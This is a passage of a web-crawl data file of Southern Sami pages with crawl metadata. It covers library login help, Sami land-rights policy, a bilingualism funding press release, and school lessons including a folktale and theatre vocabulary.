nuhtjedh mejtie webbesijjie faala. Datne maahtah vuesiehtimmien gaavhtan medijh reserveredh, löönemem orrestidh, teeksth lahtestidh, e-gærjah veedtjedh, jïh bïevnesh ohtsedidh digitalen bïevneshgærjine jïh våarhkosne.\nDan bijjebe ruvhtese dov åtnoenommem tjaalah. Dïhte maahta dov löönemekåarhtenummere jallh dïhte åtnoenomme maam datne jijtse lea veeljeme. Vuelikåbpoe ruvhtese dov tjeakosebaakoem tjaalah.\nDannasinie mijjieh libie vihtiesrutijnidie jeahtjahtehteme gosse sïjse loggedh tjuara muvhth utnijh vihth tjaalasuvvieh. Datne vihth tjaalasovvh gosse lïngkem Skapa nytt användarkonto diedtesth. Dan mænngan dov löönemekåarhtenummerem (13 væhtah gaskemdiedtestimmehts) jïh dov pin-kodem tjaalah. Datne tjoerh aaj Minabibliotek.se:n åtnoelatjkoem sïemedidh.\nJis datne dennie daltesinie gåarhmodedïjrem åadtjoeh gusnie tjåådtje \"De angivna uppgifterna är redan associerade med en annan användare\" dellie datne joe leah meatan utnijelæstosne. Datne tjoerh læjhkan ikth vielie dov bïevnesh tjaalasovvedh. Voestes aejkien datne sïjse lågga dov löönemekåarhtenummerinie + pin-kodine, dam ruvhtese tjeakoesbaakojne sïjseloggemeruvhtine sæjtoen åelkies-bielesne. Mubpie daltesisnie datne åadtjoeh åtnoenommem jïh tjeakoesbaakoem veeljedh, dejtie datne dan mænngan nuhtjh gosse galkh sïjse loggedh.\nJis sïjhth Minabibliotek.se sïjse loggedh datne voestes tjorh Skapa nytt användarkonto orre utnijekontoem darjodh. Gaajhkh maehtieh dam darjodh giej lea löönemekåarhtem Upmejedajven gærjagåetine.\nDatne dov lïhkemes gærjagåetesne mïnnh jïh jeahtah datne pin-kodem dov löönemekåarhtese sïjhth. Datne åadtjoeh dellie jïjtje kodem njieljie sifferigujmie veeljedh. Vihtiesvoeten gaavhtan ibie orre pin-kodide saarnoeh teelefonine jallh mejline.\nIjje, datne jïjtje veeljh jis sïjhth sijse loggedh jallh ij sïjhth. Datne maahtah jeenjemes teeksth lohkedh jïh ih daarpesjh sïjse loggedh dan gaavhtan, mohte jis sïjhth naan mijjen dïenesjidie sïjhth nuhtjedh, dov löönemh vaaksjoeh jallh teekstem lahtestidh dellie tjoerh datnem identifieredh jïh dan sïjse loggedh.\nJis dov joe lea åtnoekontoe Minabibliotek.se-sne maahtah jïjtje dov pin-kodem jeatjahtehtedh. Mina sidor:ese vaadtsah jïh Mitt lånekort:em diedtesth garrah-bielesne. Orre tjeakoesbaakoem åadtjoeh e-påasten tjïrrh gosse lïngkem \"Glömt inloggningsuppgifter\" diedtesth. Jis ih leah e-påastesijjiem tjaalasovvedh, dov gærjagåetiem bieljeldh.","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.minabibliotek.se\/default.aspx?id=124321&ptid=0","date":"2013-05-23T18:03:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368703662159\/warc\/CC-MAIN-20130516112742-00068-ip-10-60-113-184.ec2.internal.warc.gz","language":"sma","language_score":0.999997735,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999977350234985}","num_words":291,"character_repetition_ratio":0.071,"word_repetition_ratio":0.0,"special_characters_ratio":0.143,"stopwords_ratio":0.052,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Goerehtalleme\nAalkoealmetjereakta staatide åelede aalkoealmetji indivijduelle jïh tjåenghkies eeke-, aajhtere- jïh åtnoereaktah goerehtalledh jïh damtijidh.\nGosse finnmaarhkelaakem nænnoesti, dle aktem öörnegem sjïehtesji juktie dagkerh reaktah Finnmaarhkesne damtijidh jïh jååhkesjidh. Daate barkoe lea dannasinie reaktaprosessine sjïdteme, aktine jïjtse goerehtallemekommisjovnine mij reektie, deanahtieh gosse ovgeahpan kommisjovnen reektehtsi bïjre, jïh ov-vaantoeh gïetede sjïeredåapmestovlesne, dejnie nuepine Jillemesreaktese klååkedh. Dagkerh öörnegh eah leah tseegkesovveme dejtie aerpievuekien saemien dajvide Finnmaarhken ålkolen. Saemiereaktamoenehtse lea seammaplïeres öörnegh raeriestamme dejtie dajvide Finnmaarhken ålkolen, goh dah mah Finnmaarhkesne tseegkeme Finnmaarhkelaaken tjïrrh.\nSaemiedigkie sæjhta:\n- Aktem laakem tseegkedh goerehtallemem jïh damtijimmien bïjre saemien tjåenghkies jïh indivijduelle reaktijste, aerpievuekien saemien dajvine Finnmaarhken ålkolen.\n- Gorredidh dajvh mejtie Staateskåajje SF åtna, eah doekesovvh eannan dajvide goerehtalleme, jïh våaromem saemien kultuvrese voebnesjidh gosse arealeåtnoem jarkele.\n- Viehkiehtidh reaktaprosesside ååktedh mejstie goerehtallemebarkoe lea akte bielie\nSaemiedigkien diedte:\nSaemiedigkie barkoem goerehtallemelaakine eadtjoste, aerpievuekien saemien dajvine Finnmaarhken ålkolen. Saemiedigkie sæjhta konsultasjovnine akten dagkeres laaken bïjre, aktem diedtem utnedh ihke laake lea almetjereaktan mieriej sisnjeli.\nJuktie dov reaktah gorredidh Finnmaarhkekommisjovnen barkoen tjïrrh, dle vihkeles kommisjovnem viehkiehtidh vihtiestimmiejgujmie jïh daajrojne dajveåtnoen bïjre.","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.saemiedigkie.no\/Laante-jih-vierhtiereaktah\/Goerehtalleme","date":"2013-05-22T00:36:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368700958435\/warc\/CC-MAIN-20130516104238-00016-ip-10-60-113-184.ec2.internal.warc.gz","language":"sma","language_score":1.0000066757,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000066757202148}","num_words":170,"character_repetition_ratio":0.096,"word_repetition_ratio":0.0,"special_characters_ratio":0.122,"stopwords_ratio":0.147,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Signerte samarbeid med Sametinget - Laavenjostoelatjkoem Saemiedigkine jååhkesjin\nPUBLISERT:\n24.02.2012\nOnsdag signerte fylkesråd Terje Sørvik og Sametingets Ellinor Marita Jåma avtale om tospråklighetsmidler -\nIndividuelle samarbeidsavtaler gir kommunene og fylkeskommunene større mulighet til å utvikle det samsike språket utifra kommunens og fylkeskommunenes egne behov.\n- Samtlige kommuner og fylkeskommuner har forskjellige utfordringer og det har derfor vært viktig og nødvendig at kommunene og fylkeskommunene selv har definert hvor det er behov for innsats innen egen organisasjon, sier sametingsråd Ellinor Marita Jåma.\nDet er 9 kommuner og 4 fylkeskommuner som er i forvaltningsområdet for samiske språk.\n- Sametinget har nå i samarbeid med 10 av kommunene og fylkeskommunene i forvaltningsområdet for samiske språk kommet fram til en individuell samarbeidsavtale om bruken av tospråklighetsmidlene. I denne sammenheng har Sametinget invitert alle forvaltningskommuner og -fylkeskommuner til felles underskriving av samarbeidsavtalene på kommende onsdag, 22. februar, sier Jåma.\nEndringer i reglene for tospråklighetstilskuddet\nSametinget endret reglene for tospråklighetstilskuddet i sak 11\/11 på plenum i mars i fjor. Tospråklighetstilskuddet går fra å være kostnadsstyrt til å bli en målstyrt modell med tredelt beregningsgrunnlag for fordeling av tilskuddet til kommunene i forvaltningsområdet for samisk språk. Modellen består av basisdel, betjeningsdel samt utviklingsdel for forvaltningskommunene. For fylkeskommunene i forvaltningsområdet for samisk språk er fordelingsmodellen todelt og består av basis- og betjeningsdel samt utviklingsdel. De nye reglene forutsatte at det blir laget en individuell samarbeidsavtale med alle kommunene og fylkeskommunene i forvaltningsområdet.\nHvem underskriver\nKommunene og fylkeskommunene som underskriver samarbeidsavtalen med Sametinget er: Tana kommune, Nesseby kommune, Porsanger kommune, Kautokeino kommune, Kåfjord kommune, Tysfjord kommune og Snåsa kommune, samt Finnmark fylkeskommune, Troms fylkeskommune og Nord-Trøndelag fylkeskommune.\n------ o -------\nGaskevåhkoen goevten 22.b. fylhkenraerije Terje Sørvik jïh Saemiedigkien Ellinor Marita Jåma latjkoem guektiengïelevoetevierhtiej bïjre jååhkesjigan.\nSjïere laavenjostoelatjkoeh stuerebe nuepieh vedtieh tjïeltide jïh fylhkentjieltide dam saemien gïelem evtiedidh tjïelti jïh fylhkentjïelti jïjtsh daerpiesvoeti mietie.\n- Gaajhkh tjïelth jïh fylhkentjïelth joekehts haestemh utnieh, jïh dannasinie vihkeles jïh daerpies orreme tjïelth jïh fylhkentjïelth leah jïjtje tjïertestamme gusnie lea daerpies sjïere råajvarimmiejgujmie jïjtse åårganisasjovnen sisnjelen, saemiedigkieraerije Ellinor Marita Jåma jeahta.\n9 tjïelth jïh 4 fylhkentïielth leah reeremedajvesne saemien gïelide.\n- Saemiedigkie lea laavenjostosne 10 tjïeltigujmie jïh fylhkentjïeltigujmie, gaajhkijste tjïeltijste jïh fylhkentjïeltijste reeremedajvesne saemien gïelide, seamadamme akten sjïere laavenjostoelatjkoen bïjre guktie edtja guektiengïelevierhtide nåhtadidh. Daennie sjïekenisnie dle Saemiedigkie gaajhkh reeremetjïeltide jïh -fylhkentjïeltide bööredamme båetedh jïh ektesne laavenjostoelatjkojde jååhkesjidh båetijen gaskevåhkoen, goevten 22.b. Jåma jeahta.\nJarkelimmieh guektiengïelevoetedåarjoen njoelkedassine\nSaemiedigkie guektiengïelevoetedåarjoen njoelkedasside jarkeli aamhtesisnie 11\/11 stoerretjåanghkosne njoktjen dæjman. Guektiengïelevoetedåarjoe jarkerostoe maaksoestuvreme maalleste ulmiestuvreme maallese, gusnie ryöknemevåarome lea golme bieline juakeme, juktie dåarjoem joekedidh tjïeltide reeremedajvesne saemien gïelide. Reeremetjïelti maallesne akte baasisebielie, gagkestimmiebielie jïh akte evtiedimmiebielie. Fylhkentjïelti joekedimmiemaalle lea göökte bieline juakeme, akte baasise- jïh gagkestimmiebielie jïh akte evtiedimmiebielie. Dah orre njoelkedassh tsihkestahtin sjïere laavenjostoelatjkoeh dorjesovvin gaajhki tjïeltigujmie jïh fylhkentjïeltigujmie reeremedajvesne.\nGïeh jååhkesjieh\nDah tjïelth jïh fylhkentjïelth mah laavenjostoelatjkoem jååhkesjieh Saemiedigkine leah: Deatnun tjïelte, Unjárgan tjïelte, Porsángun tjïelte, Guovdageaidnun tjïelte, Gáivuotnan tjïelte, Divtasvuodnan tjïelte jih Snåasen tjïelte, jïh Finnmaarhken fylhkentjïelte, Tromsen fylhkentjïelte jïh Noerhte-Trööndelagen fylhkentjïelte.","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.ntfk.no\/Nyheter\/Sider\/Signerte.samarbeid.Sametinget.aspx","date":"2013-05-18T15:38:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368696382503\/warc\/CC-MAIN-20130516092622-00003-ip-10-60-113-184.ec2.internal.warc.gz","language":"sma","language_score":0.8800240755,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.8800240755081177, \"sme_Latn_score\": 0.11327094584703445}","num_words":470,"character_repetition_ratio":0.096,"word_repetition_ratio":0.0,"special_characters_ratio":0.141,"stopwords_ratio":0.081,"flagged_words_ratio":0.0,"lang_id_score":0.919,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gïele-funksjovnh\n1. laavenjasse\nMij gïele-funksjovnide jeenjemes nuhtjh?\nGosse datne:\n- maam akt bïhkedh\n- jeahtah: \"Gïerth mannem.\"\n- buarastahtah\n- vearelde-bïevnesh raadijovisnie govlh\n- naakenem biejjine læhkosth\n- aavosne jallh hujnesne eksamene-vuarjasjimmien bïjre soptsesth\n- dov gåetien bïjre soptsesth\n- gïem akt soptsestahtah tjinose vuelkedh\n- beapmoeh laajhtah\n- gærroeh\n- vearelden bïjre soptsesth\n- naakenem viehkine gihtjh\n2. laavenjasse\nGaavnh gïele-funksjovnide daejnie tjaaleginie.\nBiehkie vuelielisnie nedte-sæjroste Saemesth munnjien, Saemie-digkesne veedtjeme.\n\"Saemesth munnjien\" akte kampanje abpe laantesne mij gaajhkide saemien noeride feerhmie, dovne dah mah saemiestieh, ånnetji saemien maehtieh jïh dah mah eah saemien maehtieh.\nKampanjen ulmieh:\n- lissiehtamme åtnoe saemien gieleste\n- jienebh saemien gïelem nuhtjieh\n- saemien gïele åtnasåvva jieniebinie sijjine\n- saemien gïele våajnoes sjædta\n- lissiehtamme goerkese siebriedahkesne ihke vihkeles mijjieh åadtjobe mijjen\ngïelem nuhtjedh\"\n2. Tjaalege\nBiehkie vuelielisnie gærjeste SMS Sopperoste maam Ann-Helen Laestadius tjaaleme.\n\"Hinten gïete mojhteles-laakan svihtji jïh ojhte lij Agnesen onnesoerme jïh soermese Hinten baahke gïetesne. Dïhte lij dan lïhke gïetem steeredh maam meehti båetedh. Agnese dejtie sov feerhmeme soermide svihtji, ajve ånnetji, guktie Hinte edtji guarkedh dah soermh edtjieh aajmene årrodh jïh satne dam lyjhki. Dellie Hinte satnem vuartasji jïh mojjehti guktie dïhte vælnjoeh åvtebaenie vååjnesasse bööti. Agnese bååstede mojjehti. Dïhte lij dan læhkoes.\"\n(Laestadius 2008:66)\n3. Tjaalege\nBiehkie vuelielisnie Saemiedigkien nedte-sæjroste SáNuL\/SUPU veedtjeme.\n\"Saemiedigkien noerepolitihkeles moenehtse jïh saemien noeresiebrie Noereh! leah ektesne vaajtelimmien bïjre vielie saemien filmi jïh lidteratuvri bïjre. Mijjieh sïjhtebe lyjhkedihks filmh jïh seerijh dubbadidh saemien gïelese, jïh joekoen maanide, jïh mijjieh sïjhtebe gærjah jïh guvvieraajroeh mejtie jeenjesh åestieh, saemiengielese jarkoestidh. Mijjieh sïjhtebe aktem orre domenem sjïehtesjidh goh åtnoesuerkie saemien gïelide. Noerh gïelem daarpesjieh dejnie sijjine dah raaktan nuhtjieh.\" ( )\n3. laavenjasse\nVuartesjh guvviem jïh buerkesth gïele-funksjovnide.\n4. laavenjasse\nTjaelieh golme åenhkes tjaalegh. Voestes bievnije tjaalege, mubpie ekspressijve tjaalege jïh gåalmede vihth appellatijve tjaalege.\nKontekst\nKompetansemål\n- Læreplan i samisk som førstespråk\n- mestre ulike roller i samtaler, diskusjoner, dramatiseringer og presentasjoner\n- lytte til og vise åpenhet for andres argumentasjon og bruke relevante og saklige argumenter i diskusjoner\n- gjøre rede for argumentasjonen i andres tekster og skrive egne argumenterende tekster\n- tilpasse språk og uttrykksmåter til ulike skrivesituasjoner i skole, samfunn og arbeidsliv\n- gjøre rede for et bredt register av språklige virkemidler og forklare hvilken funksjon de har","id":"","dump":"CC-MAIN-2017-13","url":"http:\/\/ndla.no\/nb\/node\/167014?fag=126960","date":"2017-03-30T04:48:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-13\/segments\/1490218191986.44\/warc\/CC-MAIN-20170322212951-00559-ip-10-233-31-227.ec2.internal.warc.gz","language":"sma","language_score":0.9999424219,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.999942421913147}","num_words":342,"character_repetition_ratio":0.06,"word_repetition_ratio":0.0,"special_characters_ratio":0.165,"stopwords_ratio":0.096,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tjåanghkoe-gohtjedimmie jïh tjåanghkoe-referaate\nTjåanghkoe-gohtjedimmie\nGuktie gohtjedimmiem tjaeledh jïh sisvege\nMaahtah gohtjedimmiem tjaeledh goh akte byjjes prievie. Daah væhtah edtjieh meatan årrodh:\n- man såarhts tjåanghkose bööredh\n- gïeh gohtjedimmiem åådtjeme\n- gie tjåanghkose gohtjede\n- gusnie jïh gåessie tjåanghkoe edtja årrodh, jïh man guhkiem tjåanghkoe edtja vaesedh\n- mah aamhtesh dijjeieh edtjede digkiedidh\nTjåanghkoe-referaate\nTjåanghkoe-referaate lea dïhte tjaaleldh vihtienasse mij soptseste maam almetjh jeehtin jïh nænnoestin tjåanghkosne. Referaatem tjuara tjaeledh jïh seedtedh dan varke gåarede. Referaatesne tjuara nuekies bïevnesh årrodh guktie akte almetje mij ij leah stïeresne orreme tjåanghkosne, maahta dam nuhtjedh juktie aamhtesigujmie jïh nænnoestimmiejgujmie åahpenidh.\nGuktie edtjh referaatem tjaeledh jïh referaaten sisvege\nGosse tjåanghkoe-referaatem tjaalah tjoerh saakeles årrodh jïh ih jïjtjedh mïeligujmie båetedh. Tjåanghkosne datne tsiehkie-baakoeh tjaalah, jïh dan varke goh gåarede tjåanghkoen mænngan datne notaatide tjaebpebe tjaalah. Daah væhtah edtjieh iktesth meatan årrodh:\n- magkeres tjåanghkoen bïjre referaate lea\n- gåessie jïh gusnie tjåanghkoe lij\n- gïeh lin stïeresne tjåanghkosne\n- mah aamhtesh tjåanghkoe digkiedi, jïh mah nænnoestimmieh dorjesovvin\n- refereenten nomme\nBaakoeh\ntjåanghkoe-gohtjedimmie\nmøteinnkalling\ntjåanghkoe-referaate\nmøtereferat\nstïeresne\n(er) til stede\njïjtjedh mïeligujmie\ndine egne meninger\ntsiehkie-baakoeh\nstikkord\nåejvie-væhta\nhovedpunkt\ntjaaleldh vihtienasse\nskriftlig bevis\nKontekst\nKompetansemål\n- Læreplan i samisk som førstespråk","id":"","dump":"CC-MAIN-2017-13","url":"http:\/\/ndla.no\/nb\/node\/173111?fag=126960","date":"2017-03-30T04:58:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-13\/segments\/1490218191986.44\/warc\/CC-MAIN-20170322212951-00023-ip-10-233-31-227.ec2.internal.warc.gz","language":"sma","language_score":1.0000033379,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000033378601074}","num_words":184,"character_repetition_ratio":0.104,"word_repetition_ratio":0.0,"special_characters_ratio":0.143,"stopwords_ratio":0.114,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Njeevetje-ietnie jïh Rovhtege\nNjeevetje-ietnie jïh Rovhtege\nAkte saemien gåmma guhten nomme lij Njeevetje-ietnie. Dïhte lij akten aejkien vaadtsajamme muerjie-skåakese. Dle bööti laadthbïekerasse, dle Rovhtegem gaavnesje. Rovhtege onne nïejtetjem meatan utni. Njeevetje-ietnie onne baahtjetjem utni.\nDellie Rovhtege jeahta dan Njeevetje-ietnije (Njeevetje-eatnan): \"Sïjhth edtjien tsygkedidh dan mov nïejten jïh dan dov baernien bïjre, gåabpa aerebi dåhkesje muerjie-kåarjem tjöönghkedh dïeves? Jis manne dåhkesjem tjåegkedh mov kåarjem, dellie lea dïhte dov baahtje mov. Jis datne aerebi tjöönghkh dov kåarjem dïeves, dle åadtjoeh utnedh dov baerniem, dle åadtjoeh mov nïejtem aaj.\"\nNjeevetje-ietnie idtji goh sïjhth gænnah, men Rovhtege eelki muerjieh tjåegkedh. Njeevetje-ietnie aaj tjöönghkegööti. Men Rovhtege suelede burhvieh jïh murhtieh (morhth) jïjtse kåarjen sïjse tjöönghki jïh onne muarjetjh bijjelde. Goh lij Rovhtege dam dorjeme, dle gylje Njeevetje-ietnije (Njeevetje-eatnan): \"Båetieh! Vuajnah, manne leam joe tjöönghkeme dïeves mov kåarjem.\" Njeevetje-ietnie vaadtsiji Rovhtegen gåajkoe. Njeevetje-ietnie guhte lij tjöönghkeme raajnes muerjieh, dïhte ij leam (ij lij) tjöönghkeme jeenebem goh gaske-mearan dam sov kåarjem. Rovhtege bïksi Njeevetje-ietnien baerniem jïh voelkehti. Njeevetje-ietnie beetsi barre Rovhtegen nïejtine. Njeevetje-ietnie haarmese sjïdti jïh tjyöre. Dellie tjoeveri Njeevetje-ietnie vaeltedh Rovhtegen nïejtem meatan sov hïejmen gåajkoe.\nRovhtege eeli dam Njeevetje-ietnien baahtje; stoerre rïekte væjrere (vijrije) sjïdti; voetjele gedtieh jïh gaajhkh slaaks vijrieh. Biejjege, gosse lij dïhte baahtje båarhte, dle Rovhtege vaarrede, tsååbph jïh hussegh jïh snjearah tjöönghkie gåatan jïh bårra. Dan baahtjen boektelimmie vïjren bearkojste ij leam (ij lij) goh dan snåale guktie dejtie jïjtsese boektelimmie vaejsjide. Baahtje dehtie sov tjidtjeste asvedi, juktie bårra gaajhke ovraajnes beapmoeh.\nAkten aejkien dïhte baernie jïjtsasse niestiem leeki; dle mïnniji skåakese. Dle bööti akten bïerje-baahkoje (-baahkose); dle öödtji (åadtjoeji) vuejnedh: soeve berkeste dehtie bïerje-baahkoste; dle vaadtsiji dahkoe. Dellie öödtji (åadtjoeji) vuejnedh, onne gåatetje bïerje gaskesne. Dle vaadtsa dahkoe jïh guatsa riehpienasse ålkolde jïh guavla gåetien sïjse. Dle vuajna aktem gaampel gåmmam jïh akten bra nov (naa) stoerre nïejtetjem. Rigkesne lij jis krovhte gævnjesjeminie. Dle vuajna krovhten sisnie gaampel gaamegh; dle onterde dïhte baernie: \"Eah dah almetjh jeatjah beapmoeh utnieh goh gaampel gaamegh?\" Dle dehtie sov niesties-voesseste vaalta buejtie-stuhtjem jïh loejhtele riehpenen tjïrrh. Dïhte buejtie-stuhtje gahtji dan krovhten sïjse.\nDle stillie dïhte gaampel gåmma dam nïejtem: \"Gåajvoeh bæjjese krovhteste daejtie gaampel gaamegidie: edtjien byöpmedalledh.\" Dle veedtsi dïhte nïejte gaavtjen jïh guksien mietie. Goh krovhten gåajkoe bööti, dellie vuajnije: voeje lij vååtjeme. \"Tjidtjie, båetieh, vuajnah! Krovhte voejeh vååtje.\" \"Datne barre slaarvesth. Gustie gelkies voejeh våatjodh gaampel gaamegistie?\" \"Båetieh, vuajnah!\" nïejte jeehti. Dïhte gaampel gåmma ojhte veedtsi; dle ojhte dïhte vööjni. Dle dïhte gaampel gåmma tjyöriji; aervide gujht guktie lea gåaradamme, ahte krovhte voejeh våatjoeji. Dle soptseste dïhte gaampel gåmma dan Rovhtegen nïejtese gaajhke dovne, guktie lea gåaradamme, ahte lea satne sov baerniem dasseme: \"Datnem jis åadtjoejim altese sæjjan.\"\nBaahtje lij goltelamme gaajhke dovne, maam dah gööktesh soptsestalligan. Dle dïhte baahtje vaadtsiji våålese gåetien riehpienistie jïh tjaangi gåatan jïh healsohti jïh jeehti: \"Manne leam goltelamme dotnen soptsesem; dotnen soptsesen tsegkie die lea datne mov rïektes tjidtjie.\" Baahtje njåamohti dan sov tjidtjien tjeapohken bïjre jïh tjuvlesti. Dïhte gaampel gåmma tjyörestalla barre aavoen tjïrreh, juktie satne jïjtse baerniem bååstede öödtji (åadtjoeji). Dle dïhte baernie vaarredi, Rovhtegem bovvesti. Goh debpede bööti, dle soptseste: \"Ij leam (ij lij) gujht ontere, juktie manne asvedim dehtie mov mubpide tjidtjeste, juktie dïhte tsååbph jïh hussegh jïh snjearah provhki bårredh.\" Dle dïhte baahtje jeahta: \"Bööremes manne bovvestem dam Rovhtegen dakterem.\" Dle dan baahtjen tjidtjie jeahta: \"Baajeh dam veasodh; dam åadtjoen eeledh guktie sijhtien.\"","id":"","dump":"CC-MAIN-2017-13","url":"http:\/\/ndla.no\/nb\/node\/131238?fag=126960","date":"2017-03-30T04:55:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-13\/segments\/1490218191986.44\/warc\/CC-MAIN-20170322212951-00325-ip-10-233-31-227.ec2.internal.warc.gz","language":"sma","language_score":0.9999922514,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999922513961792}","num_words":552,"character_repetition_ratio":0.078,"word_repetition_ratio":0.0,"special_characters_ratio":0.169,"stopwords_ratio":0.06,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Teatere-vuasastalleme\nRegije\nRegisööre lea tjeahpoen bijjemes åejvie teaterisnie. Dan dïedte scenan viehkie-dïrregh veeljedh mah edtjieh dorjehtimmesne gååvnesidh.\nScenografije\nScenografije, guktie dorjehtimmien scena-romme galka årrodh. Scenografen dïedte scenam hammoedidh, guktie maahta dam utnedh jïh dorjehtimmien mietie jarkelidh. Visuelle viehkie-dïrregh dorjehtimmesne leah scenografije, vaarjoeh jïh tjoevke.\nScenografije lea aaj dekorasjovnh. Dekorasjovne sïejhme måaladamme jïh kanne tjïehtjelem vuesehte. Dekorasjovnh mah maehtieh juhtedh kulissh gohtjebe.\nTjoevke\nTjoevke edtja dorjehtæmman sjïehtedh. Plaave, kruana jïh fiolette galme tjoevke sjidtieh jïh rööpses, viskes jïh oransje baahke tjoevke sjidtieh. Jeatjah vuekieh tjoevkine barkedh aaj gååvnesieh, v.g. spot-tjoevke, laser-tjoevke.\nTjoeje\nTjoeje vihkele viehkie-dïrrege dorjehtimmesne. Dovletje lij tjoeje dorjehtæjjaj gïelh, men daelie tjoejeviehkie-dïrregh gååvnesieh teaterisnie. Dah maehtieh iemie-tjoeje jïh teknihke-tjoeje aktanidh, guktie ållesth tjoeje-guvvie sjædta.Tjoejh jïh musihke scenesne mijjen domtesh tsevtsieh.\nRekvisidth\nRekvisidth leah daeverh mejtie råålla-gaagkoeh maehtieh dorjehtimmesne utnedh. Rekvisitööre jïh scenografe ektesne berkieh jïh rekvisidtide scenese sjïehtedieh. Såemies aejkien rekvisidte aaj symbole.\nScena-vaarjoeh\nMah dorjehtæjjah edtjieh gåårvedidh? Mij jaepie-boelhkide jallh tïjjide? Daaletje jallh dovletje? Vaarjoeh maehtieh dorjehtæjjan råålla-gaagkoem tjïelkebe vuesiehtidh.\nSminke\nSminke maahta aaj råålla-gaagkoem hammoedidh, v.g noere jallh båeries.\nKarakterh jïh råålla-barkoe\nDorjehtæjja göökte laavenjassh åtna. Dïhte edtja råålla-gaagkoen domtesh vuesiehtidh jïh guktie råålla-gaagkoe scenesne dåemede aaj karakterem vuesehte. Dorjehtæjja tjuara dovne åejjiem, kråahpem jïh domtesh nuhtjedh.\nBaakoeh\ndorjehtimmie\nskuespill\ntjeahpoe\nkunst\ntjeahpoe-hammoeh\nkunstformer\nKontekst\nKompetansemål\n- Læreplan i samisk som førstespråk\n- bruke faglige kunnskaper og begreper i samtaler om tekst og språk\n- mestre ulike roller i samtaler, diskusjoner, dramatiseringer og presentasjoner\n- lese et representativt utvalg samtidstekster, skjønnlitteratur og sakprosa, og reflektere over innhold, form og formål\n- bruke ulike estetiske virkemidler og uttrykksformer i sammensatte tekster","id":"","dump":"CC-MAIN-2017-22","url":"http:\/\/ndla.no\/nb\/node\/173871?fag=126960","date":"2017-05-24T10:16:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-22\/segments\/1495463607811.15\/warc\/CC-MAIN-20170524093528-20170524113528-00479.warc.gz","language":"sma","language_score":0.9999556541,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999556541442871}","num_words":258,"character_repetition_ratio":0.07,"word_repetition_ratio":0.0,"special_characters_ratio":0.145,"stopwords_ratio":0.097,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Dahkoe jïh ov-vaantoe\nTjaelije gellie viehkie-vierhtieh åtna gosse tjaalegem tjaala. Göökte daejstie leah dahkoe jïh ov-vaantoe. Dellie tjaelije maahta gellie bielieh aamhtesistie vuesiehtidh seamma tjaalegisnie. Dïhte dahkoem tseegkie jïh soptseste maam almetjh jiehtieh jïh mannasinie naemhtie sjædta. Tjaelije dïjrem viehkie-vierhtiejgujmie buerkeste.\nOv-vaantoe\nNaan aejkien tjaelije aalka ov-vaantoen bïjre soptsestidh, mij novellen aalkoe. Tjaelije daamhtaj ov-vaantoen bïjre novellesne tjaala. Romaanine jïh guhkebe soptsesinie dellie daamhtaj gellie ov-vaantoej bïjre lohkebe.\nOv-vaantoe lea vuesiehtimmien gaavhtan:\n- göökte jallh jienebh almetjh mah dïjveldieh\n- vuestie-bieliej bïjre almetji gaskemsh, aktene daaletjen jallh dovletjen perspektijvesne - vuestie-bieliej bïjre almetjen jïh siebriedahken gaskem\n- almetjen jallh almetji gïerve etihken veeljemen jallh veeljemi bïjre\nDahkoe\nNovelline jïh jeatjah åenehks soptsesinie gaavnebe mahte eejnegen barre akte dahkoe mij soptsesisnie jåhta. Guhkebe soptsesinie dellie daamhtaj jienebh dahkoeh. Jis dah ovmessie dahkoeh juhtieh seamma aejkesne, dellie mijjieh dejtie parallelle dahkojne gohtjebe.\ndahkoe\nhandling\nov-vaantoe\nkonflikt\nvuestie-bielie\nmotsetning\nKontekst\nKompetansemål\n- Læreplan i samisk som førstespråk\n- lese et representativt utvalg samtidstekster, skjønnlitteratur og sakprosa, og reflektere over innhold, form og formål\n- skrive tekster med tema og fagterminologi tilpasset eget utdanningsprogram etter mønster fra ulike eksempeltekster\n- tilpasse språk og uttrykksmåter til ulike skrivesituasjoner i skole, samfunn og arbeidsliv\n- lese utvalgte tekster fra perioden etter 1995, sette dem inn i en kulturhistorisk sammenheng og reflektere over språk og innhold\n- gjøre rede for et bredt register av språklige virkemidler og forklare hvilken funksjon de har","id":"","dump":"CC-MAIN-2017-22","url":"http:\/\/ndla.no\/nb\/node\/171268?fag=126960","date":"2017-05-24T10:13:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-22\/segments\/1495463607811.15\/warc\/CC-MAIN-20170524093528-20170524113528-00078.warc.gz","language":"sma","language_score":0.9997306466,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 